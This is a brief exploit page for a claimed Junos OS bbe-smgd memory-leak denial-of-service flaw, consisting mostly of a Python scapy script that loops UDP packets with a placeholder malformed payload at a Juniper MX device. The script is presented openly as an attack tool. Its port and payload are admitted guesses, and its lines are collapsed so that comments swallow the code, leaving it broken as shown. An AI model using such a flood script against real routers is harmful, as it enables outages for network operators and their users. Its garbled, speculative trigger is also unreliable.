CVE-2026-33775 Junos OS bbe-smgd内存泄漏致DoS漏洞

from scapy.all import * import time # Configuration # Target IP of the Juniper MX device target_ip = "192.168.1.1" # Port used by bbe-smgd (Needs specific reconnaissance, example port) target_port = 2000 interface = "eth0" def send_malicious_packet(): # Construct a packet that does not match the expected 'authentication packet-type' # This simulates the trigger condition for the memory leak packet = IP(dst=target_ip)/UDP(dport=target_port)/Raw(load="MALFORMED_AUTH_PAYLOAD") print(f"[*] Sending packet to {target_ip}...") send(packet, iface=interface, verbose=0) print("[+] Starting DoS simulation for CVE-2026-33775") print("[!] This will consume memory in bbe-smgd if the vulnerability is unpatched.") try: while True: send_malicious_packet() # Short delay to avoid flooding the network too hard, but enough to leak memory time.sleep(0.1) except KeyboardInterrupt: print("\n[-] Attack stopped.")